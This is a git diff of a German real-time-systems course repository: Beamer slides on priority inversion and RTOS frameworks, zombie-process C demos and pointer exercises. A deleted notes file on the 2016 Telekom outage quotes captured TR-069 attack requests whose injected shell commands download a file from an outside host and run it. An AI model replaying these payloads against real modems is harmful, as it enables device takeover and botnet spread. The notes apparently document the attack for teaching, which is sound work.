\put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.7cm]{pathfinder.jpg} - \vspace*{-1.5cm} - \end{center} - } - - \bigskip - - \only<2>{% - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \end{itemize} - - \bigskip - - \begin{minipage}{7.0cm} - \begin{flushright} - \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} - \end{flushright} - \end{minipage} - - \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm} - } - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \only<1-2>{% - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - - \only<3->{% - \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} - \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} -% \only<1>{% -% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} -% } - \put(0,1){\line(1,0){10}} - -% \only<1>{% -% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} -% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} -% } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} -% \only<1>{% -% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} -% } - \put(0,3){\line(1,0){10}} - -% \only<2>{% -% \only<2>{% - \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} - \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} -% } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \pause - \begin{picture}(0,0) - \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \smallskip - \pause - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme} - \begin{itemize} - \color{medgreen} - \item[2.1] Multitasking - \item[2.2] Ressourcen - \item[2.3] Prioritäten - \end{itemize} - \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme} - \begin{itemize} - \color{red} - \item[3.1] Definition - \item[3.2] Beispiele - \end{itemize} - \item[\textbf{4}] \textbf{Frameworks} - \begin{itemize} - \item[\textbf{4.1}] TFC Event Channel - \item[\textbf{4.2}] AUTOSAR - \item[\textbf{4.3}] Wietzke-Tran-Framework - \end{itemize} - \end{itemize} - -\end{frame} - -\section{Echtzeitbetriebssysteme} -\subsection{Definition} - -\begin{frame} - - \showsection - \showsubsection - - Wikipedia: - \begin{quote} - Ein \newterm{Echtzeitbetriebssystem\/} (englisch \newterm{real-time operating system},\\ - kurz \newterm{RTOS\/} genannt) ist ein Betriebssystem mit zusätzlichen Echtzeit-Funktionen - für die unbedingte Einhaltung von Zeitbedingungen - und die Vorhersagbarkeit des Prozessverhaltens (hartes Echtzeitverhalten). - \end{quote} - - \pause - \vspace{-0.5cm} - \begin{displaymath} - \text{Echtzeitbetriebssystem} - ~=~ \text{Betriebssystem} - ~+~ \left(\begin{array}{c} - \text{Semaphoren} \\ - \text{Mutexe} \\ - \text{Spinlocks} \\ - \text{Prioritätsvererbung} \\ - \text{Prioritätsobergrenze} \\ - \text{Prioritätsalterung} - \end{array}\right) - \end{displaymath} - -\end{frame} - -\subsection{Beispiele} - -\begin{frame} - - \showsection - \showsubsection - - \renewcommand{\arraystretch}{1.2} - - \begin{center} - \begin{tabular}{|l|l|l|l|}\hline - Name & Lizenz & kompatibel zu & Besonderheiten \\\hline\hline - TinyOS & BSD & -- & kooperativ, eigene Sprache \\\hline - FreeRTOS & GPL & -- & \\\hline - MicroC/OS-II & prop. & -- & \\\hline - eCos & GPL & Unix & stark konfigurierbar \\\hline - QNX & prop. & Unix & \\\hline - VxWorks & prop. & Unix & \\\hline - RTAI & GPL & Unix (Linux) & Linux als Hintergrundprozeß \\\hline - RT\_PREEMPT & GPL & Unix (Linux) & angepaßter Kernel \\\hline - Windows CE & prop. & MS-Windows & \\\hline - \end{tabular} - \end{center} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme} - \begin{itemize} - \item[2.1] Multitasking - \item[2.2] Ressourcen - \item[2.3] Prioritäten - \end{itemize} - \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme} - \begin{itemize} - \item[3.1] \color{medgreen}Definition - \item[3.2] Beispiele - \end{itemize} - \item[\textbf{4}] \textbf{Frameworks} - \begin{itemize} - \item[4.1] \color{red}TFC Event Channel - \item[4.2] AUTOSAR - \item[4.3] Wietzke-Tran-Framework - \end{itemize} -% \bigskip -% \item[\textbf{U}] \textbf{Einführung in Unix} -% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung} - \end{itemize} - -\end{frame} - -\section{Frameworks} -\subsection{TFC Event Channel} - -\begin{frame}[fragile] - \showsection - \showsubsection - - \begin{minipage}[t]{5cm} - Anforderungen: - \begin{itemize} - \item - Aktoren und Sensoren\\ - sollen gemäß vorgegebe-\\ - nen Regeln interagieren. - \item - weiche und harte Echtzeit - \item - hohe Anpaßbarkeit - \end{itemize} - \end{minipage}\hfill - \begin{minipage}[t]{7.25cm} - \only<1>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{csa2.jpg}}} - \begin{onlyenv}<2-4> - 1.\ Lösung: CORBA (TAO/ACE) - \begin{itemize} - \item - Programme kommunizieren per TCP/IP über \newterm{Events\/} - (Ereignisse und Zustände). - \item - C++-Programme reagieren auf Events\\ - über \newterm{Callbacks\/} (virtuelle Methoden). - \item - Abfrage von Zustandsänderungen\\ - über \newterm{Polling} - \end{itemize} - \vspace*{-1cm} - \end{onlyenv} - \begin{onlyenv}<5-> - 2.\ Lösung: Eigener Event-Channel - \begin{itemize} - \item - Programme kommunizieren per TCP/IP über \newterm{Events\/} - (Ereignisse und Zustände). - \item - C++-Programme reagieren auf Events\\ - und Zustandsänderungen\\ - über \newterm{Callbacks\/} (virtuelle Methoden). - \item - speziell entwickelte\\ - Programmiersprache: \lstinline{logic} - \item<7-> - Schneller als TAO/ACE, aber (noch) keine harte Echtzeit - \end{itemize} - \vspace*{-2cm} - \end{onlyenv} - \end{minipage} - - \bigskip - - \begin{onlyenv}<3> - Wikipedia: - \begin{quote} - The ACE ORB (TAO) ist eine freie, Open-Source - Standard-kompatible echtzeitfähige Implementierung von CORBA - in C++ basierend auf dem ACE-Framework. TAO bietet eine - skalierbare Dienstgüte (Quality of Service QoS) für die - gesamte Kommunikationsstrecke (end-to-end). - - Im Unterschied zu konventionellen Implementierungen von CORBA - wendet TAO Softwarepraktiken und Muster an, um die - Automatisierung von hochperformanten Echtzeit QoS für - verteilte Anwendungen zu vereinfachen. - \end{quote} - \vspace*{-1cm} - \end{onlyenv} - \begin{onlyenv}<4> - Praxis: - \begin{itemize} - \item - typische Antwortzeit: 1 Sekunde - \item - unzuverlässig - \item - neue Events erfordern Neustart der grundlegenden Dienste\\ - \textarrow\ Verzögerungen, insbesondere im Team - \end{itemize} - \end{onlyenv} - \begin{onlyenv}<6-> - \begin{lstlisting}[gobble=6] - when i_gui_ns do - f_ns = !f_ns; - \end{lstlisting} - \medskip - \begin{lstlisting}[gobble=6] - when i_coc_sign_ns_on_sw do - f_ns = TriggerValue; - \end{lstlisting} - \medskip - \begin{lstlisting}[gobble=6] - when f_ns do - i_sound_note_on = Note (SAMPLER_CABIN, SND_CHIME_LO, 0.3); - \end{lstlisting} - \medskip - \begin{lstlisting}[gobble=6] - o_ns_light_1, o_ns_light_2, o_ns_light_3, o_ns_light_4, - o_ns_light_5, o_ns_light_6, o_ns_light_7, o_ns_light_8 = f_ns; - \end{lstlisting} - \end{onlyenv} - \vspace{-0.5cm} - -\end{frame} - -\subsection{AUTOSAR} - -\begin{frame} - \showsection - \showsubsection - - \begin{minipage}[t]{5cm} - Anforderungen: - \begin{itemize} - \item - Aktoren und Sensoren\\ - sollen gemäß vorgegebe-\\ - nen Regeln interagieren. - \item - weiche und harte Echtzeit - \item[\textbf{?}] - hohe Anpaßbarkeit - \item[\textbf{!\hspace*{1pt}}]<2-> - Verbergen von Details\\ - vor der Konkurrenz - \end{itemize} - \end{minipage}\hfill - \begin{minipage}[t]{7.25cm} - \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}} - \begin{onlyenv}<3-> - Lösung: AUTOSAR - \begin{itemize} - \item - Programme kommunizieren per\\ - \newterm{Virtual Functional Bus (VFB)\/}\\ - über Ereignisse und Zustände. - \item - Programme laufen oberhalb eines\\ - \newterm{Run Time Environment (RTE)} - \item - Standardisierte \newterm{Application Program-\\ming Interfaces (API)} - \end{itemize} - \vspace*{-1cm} - \end{onlyenv} - \end{minipage} - - \bigskip - - \begin{onlyenv}<4-> - \begin{itemize} - \item - Topologie der \newterm{Electronic Control Units (ECU)\/}\only<5->{: XML-Datei} - \item - Systemkonfiguration\only<5->{: XML-Datei} - \item<6-> - graphische Programmierwerkzeuge:\\ - UML-Diagramme, MATLAB/Simulink - \item<6-> - Code wird generiert\only<7->{\\\textarrow\ - \only<8->{(hoffentlich)} weniger fehleranfällig, - \only<8->{(hoffentlich)} trotzdem effizient} - \end{itemize} - \end{onlyenv} - \vspace{-0.5cm} - -\end{frame} - -\subsection{Wietzke-Tran-Framework} - -\begin{frame} - \showsection - \showsubsection - - \begin{minipage}[t]{5cm} - Anforderungen: - \begin{itemize} - \item - Aktoren und Sensoren\\ - sollen gemäß vorgegebe-\\ - nen Regeln interagieren. - \item - weiche und harte Echtzeit - \item - hohe Anpaßbarkeit - \item[\textbf{!\hspace*{1pt}}]<2-> - unterstützt auch\\\newterm{Media Oriented\\Systems Transport Bus (MOST-Bus)} - \end{itemize} - \end{minipage}\hfill - \begin{minipage}[t]{7.25cm} - \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}} - \begin{onlyenv}<3> - \addtolength{\leftskip}{1em} - - \sectionnonumber{Literaturempfehlung} - \subsectionnonumber{Automotive Embedded Systeme} - \setcounter{subsection}{3} - - \showsectionnonumber - - Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ - Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: - - \medskip - - \showsubsectionnonumber - - \vspace{-\medskipamount} - - Springer-Verlag, Berlin, Heidelberg 2005 - - \bigskip - - Lizenz: proprietär - - \medskip - - (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) - - \end{onlyenv} - \end{minipage} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme} - \begin{itemize} - \item[2.1] Multitasking - \item[2.2] Ressourcen - \item[2.3] Prioritäten - \end{itemize} - \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme} - \begin{itemize} - \item[3.1] \only<1>{\color{medgreen}}Definition - \item[3.2] Beispiele - \end{itemize} - \item[\textbf{4}] \textbf{Frameworks} - \begin{itemize} - \item[\textbf{4.1}] \only<1>{\color{medgreen}}TFC Event Channel - \item[\textbf{4.2}] AUTOSAR - \item[\textbf{4.3}] Wietzke-Tran-Framework - \end{itemize} - \end{itemize} - \pause - -\end{frame} - -\end{document} diff --git a/20161124/tafelbild-20161124-1.jpg b/20161124/tafelbild-20161124-1.jpg deleted file mode 100644 index 20bdf759ac826ab66266755e927afa606843180f..0000000000000000000000000000000000000000 Binary files a/20161124/tafelbild-20161124-1.jpg and /dev/null differ diff --git a/20161124/tafelbild-20161124-2.jpg b/20161124/tafelbild-20161124-2.jpg deleted file mode 100644 index 74eeb66218af4972837682ba4eab43c2210ff430..0000000000000000000000000000000000000000 Binary files a/20161124/tafelbild-20161124-2.jpg and /dev/null differ diff --git a/20161124/tafelbild-20161124-3.jpg b/20161124/tafelbild-20161124-3.jpg deleted file mode 100644 index e3f8716f95c275349dac48e6c0bc177a5ddfbdac..0000000000000000000000000000000000000000 Binary files a/20161124/tafelbild-20161124-3.jpg and /dev/null differ diff --git a/20161201/make-zombies-1.c b/20161201/make-zombies-1.c deleted file mode 100644 index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000 --- a/20161201/make-zombies-1.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// - // hier kommt nur der Vaterprozess vorbei - for (i = 0; i < 10; ++i){ - // Der Vaterprozess wartet nun, bis der Reihe nach jeder - // seiner 10 Kindprozesse beendet ist. Leider wird auf das - // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl - // die anderen Kinder l�ngst erfolgreich beendet wurden, - // blockiert das erste Kind eine Bereinigung der Prozesstabelle - waitpid(pids[i], NULL, 0); - } -// - -// while (1); - return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161201/make-zombies-2.c b/20161201/make-zombies-2.c deleted file mode 100644 index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000 --- a/20161201/make-zombies-2.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// -// // hier kommt nur der Vaterprozess vorbei -// for (i = 0; i < 10; ++i){ -// // Der Vaterprozess wartet nun, bis der Reihe nach jeder -// // seiner 10 Kindprozesse beendet ist. Leider wird auf das -// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl -// // die anderen Kinder l�ngst erfolgreich beendet wurden, -// // blockiert das erste Kind eine Bereinigung der Prozesstabelle -// waitpid(pids[i], NULL, 0); -// } -// - -// while (1); - return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161201/make-zombies-3.c b/20161201/make-zombies-3.c deleted file mode 100644 index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000 --- a/20161201/make-zombies-3.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// -// // hier kommt nur der Vaterprozess vorbei -// for (i = 0; i < 10; ++i){ -// // Der Vaterprozess wartet nun, bis der Reihe nach jeder -// // seiner 10 Kindprozesse beendet ist. Leider wird auf das -// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl -// // die anderen Kinder l�ngst erfolgreich beendet wurden, -// // blockiert das erste Kind eine Bereinigung der Prozesstabelle -// waitpid(pids[i], NULL, 0); -// } -// - - while (1); -// return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161201/photo-20161201-150010.jpg b/20161201/photo-20161201-150010.jpg deleted file mode 100644 index dfe8549dd590b662e7386bd09adb4f5edcd252f7..0000000000000000000000000000000000000000 Binary files a/20161201/photo-20161201-150010.jpg and /dev/null differ diff --git a/20161208/hp-20161208.txt b/20161208/hp-20161208.txt deleted file mode 100644 index 67b6ee887cd3eabb9107edf772e9ea75e46c4e38..0000000000000000000000000000000000000000 --- a/20161208/hp-20161208.txt +++ /dev/null @@ -1,41 +0,0 @@ -Großstörung bei der Telekom, 27.11.2016 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Berichterstattung bei Heise Online: - - https://heise.de/-3505820 - Großstörung im Telekom-Netz - - https://heise.de/-3506044 - Die Telekom prüft Hinweise auf Hackerangriff - - https://heise.de/-3506556 - BSI warnt vor weltweitem Hackerangriff auf DSL-Modems - - https://heise.de/-3507088 - Angreifer nutzten Lücke und Botnetz-Code - - https://heise.de/-3520212 - Großstörung bei der Telekom: Was wirklich geschah - -Informationen zu dem TRE-069-Exploit: - - https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759 - - https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/ - -Aktiver Angriff auf den TRE-069-Port, aufgefangen mit nc -l -p 7547 - - <NewNTPServer1> - `cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1` - </NewNTPServer1> - -Selbst durchgeführter Test: nc -l -p 7547 - - nc: listening on :: 7547 ... - nc: listening on 0.0.0.0 7547 ... - nc: connect to 46.4.31.171 7547 from - node-jcm.pool-125-27.dynamic.totbb.net (125.27.97.246) 44932 [44932] - POST /UD/act?1 HTTP/1.1 - Host: 127.0.0.1:7547 - User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) - SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers - Content-Type: text/xml - Content-Length: 519 - - <?xml version="1.0"?><SOAP-ENV:Envelope - xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" - SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <SOAP-ENV:Body> <u:SetNTPServers - xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd - /var/tmp;cd /tmp;wget http://binpt.pw/a;sh a`</NewNTPServer1> - <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> - <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> - </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> diff --git a/20161208/photo-20161208-144033.jpg b/20161208/photo-20161208-144033.jpg deleted file mode 100644 index d4c57a2ab737386d23a0fb943aad94ad456242e8..0000000000000000000000000000000000000000 Binary files a/20161208/photo-20161208-144033.jpg and /dev/null differ diff --git a/20161215/function-call.c b/20161215/function-call.c deleted file mode 100644 index b2db5145e720b39de50d37e98365b02f1bb25ca2..0000000000000000000000000000000000000000 --- a/20161215/function-call.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> - -void hello (void) -{ - printf ("Hello, world!\n"); -} - -int main (void) -{ - hello (); - return 0; -} diff --git a/20161215/function-call.s b/20161215/function-call.s deleted file mode 100644 index 787fe5f16ced6b27c970af8ed29faf6a417e58f0..0000000000000000000000000000000000000000 --- a/20161215/function-call.s +++ /dev/null @@ -1,37 +0,0 @@ - .file "function-call.c" - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "Hello, world!" - .text - .globl hello - .type hello, @function -hello: -.LFB11: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - movl $.LC0, %edi - call puts - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size hello, .-hello - .globl main - .type main, @function -main: -.LFB12: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - call hello - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE12: - .size main, .-main - .ident "GCC: (Debian 4.9.2-10) 4.9.2" - .section .note.GNU-stack,"",@progbits diff --git a/20161215/photo-20161215-182130.jpg b/20161215/photo-20161215-182130.jpg deleted file mode 100644 index 9be08251819e90f134d99e97bd4657e6e7eb25fd..0000000000000000000000000000000000000000 Binary files a/20161215/photo-20161215-182130.jpg and /dev/null differ diff --git a/20161215/photo-20161215-182223.jpg b/20161215/photo-20161215-182223.jpg deleted file mode 100644 index c4d352bd11c79ba35b0e60caeb5abb6d42222e37..0000000000000000000000000000000000000000 Binary files a/20161215/photo-20161215-182223.jpg and /dev/null differ diff --git a/20170413/arrays-pointers-000.c b/20170413/arrays-pointers-000.c new file mode 100644 index 0000000000000000000000000000000000000000..cf1cfab42b84885644c1f6ae4f4411c7ac427277 --- /dev/null +++ b/20170413/arrays-pointers-000.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +char a[] = "Test"; +char *p = "Test"; + +int main (void) +{ + printf ("%s\n", a); + printf ("%s\n", p); + return 0; +} diff --git a/20170413/arrays-pointers-001.c b/20170413/arrays-pointers-001.c new file mode 100644 index 0000000000000000000000000000000000000000..c6fefcc7c60f814c46b5ecb6c25cb39780f38822 --- /dev/null +++ b/20170413/arrays-pointers-001.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + return 0; +} diff --git a/20170413/arrays-pointers-002.c b/20170413/arrays-pointers-002.c new file mode 100644 index 0000000000000000000000000000000000000000..2592b4153b94c80771b2b01018153742b7320abd --- /dev/null +++ b/20170413/arrays-pointers-002.c @@ -0,0 +1,14 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + *a++; + printf ("%c\n", **p); + return 0; +} diff --git a/20170413/arrays-pointers-003.c b/20170413/arrays-pointers-003.c new file mode 100644 index 0000000000000000000000000000000000000000..20b7b84868fe938cae0fdefac87c2529400d7f5b --- /dev/null +++ b/20170413/arrays-pointers-003.c @@ -0,0 +1,14 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + (*a)++; + printf ("%c\n", **p); + return 0; +} diff --git a/20170413/arrays-pointers-004.c b/20170413/arrays-pointers-004.c new file mode 100644 index 